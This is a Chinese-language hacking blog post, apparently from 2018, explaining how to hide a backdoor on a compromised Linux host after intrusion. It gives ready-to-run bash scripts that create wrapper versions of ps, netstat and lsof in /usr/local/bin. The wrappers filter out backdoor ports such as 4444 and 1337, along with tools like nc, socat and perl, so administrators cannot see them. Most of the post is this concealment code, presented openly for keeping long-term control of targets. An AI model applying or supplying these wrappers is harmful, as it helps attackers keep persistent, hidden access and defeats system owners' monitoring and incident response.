PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

后门隐藏之进程隐藏技巧(ps、netstat、top、lsof)

2018-10-15
PythonPig

#0x00 写在前面

最近工作忙成狗,写些与技术没什么关系的文档,没办法,谁让咱还指着工资吃饭呢。

在后渗透过程中对需要长期控制的目标一般会留一个后门,后门的隐蔽性当然值得我们去思考一下,今天记录一下之前用到的一个隐藏后门进程的小技巧。今天讲的不是什么高大上的技术,只是偶尔会用一下的小技巧,当然不是改pid为0,也不是修改系统调用。

今天说的隐藏进程其实有点不够准确,应该是使命令ps/netstat/top/lsof这几个命令不显示我们的后门进程而已,当然我们也不是替换/劫持这几个命令,只是包装一下这几个命令。

#0x01 PS命令不显示后门进程

其实很简单,我们包装一下ps这个命令,如在ubuntu(Ubuntu 14.04.5)中,ps路径为/bin/ps,如下图

我们需要做的就是在创建一个/usr/local/bin/ps文件,写入如下内容

#!/bin/bash
/bin/ps $@ | grep -Ev 'backdoor name|backdoor server address|backdoor server port'

赋予执行权限
chmod +x /usr/local/bin/ps

执行which ps后的效果

就是这么简单就搞定了,执行ps的时候就不会有我们的backdoor信息出现了。我们自己使用时,用/bin/ps就OK了。

#0x02 netstat、top、lsof

这几个命令同上,很简单,这里不一一介绍了。

每个命令都手动去改太麻烦,好在有人已经写好了脚本(参见本文引用),一条命令就搞定这几个命令的伪装了(没有支持top命令)……

#0x03 脚本中的语法

参考文献的脚本是这样写的

#!/bin/bash

#ps
#------------------------
touch /usr/local/bin/ps

cat <<EOF >> /usr/local/bin/ps	
#!/bin/bash
/bin/ps \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF

chmod +x /usr/local/bin/ps

#netstat
#------------------------
touch /usr/local/bin/netstat

cat <<EOF >> /usr/local/bin/netstat
#!/bin/bash
/bin/netstat \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF

chmod +x /usr/local/bin/netstat

#lsof
#------------------------
touch /usr/local/bin/lsof

cat <<EOF >> /usr/local/bin/lsof
#!/bin/bash
/usr/bin/lsof \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
EOF

chmod +x /usr/local/bin/lsof

其实比较简单,主要有两点需要注意(参见本文引用)
1、linux shell 的here document 用法 (cat « EOF),些多行内容到文件
2、Shell特殊变量:Shell $0, $#, $*, $@, $?, $$和命令行参数

#0x04 参考


Similar Posts

上一篇 Vlan学习

Comments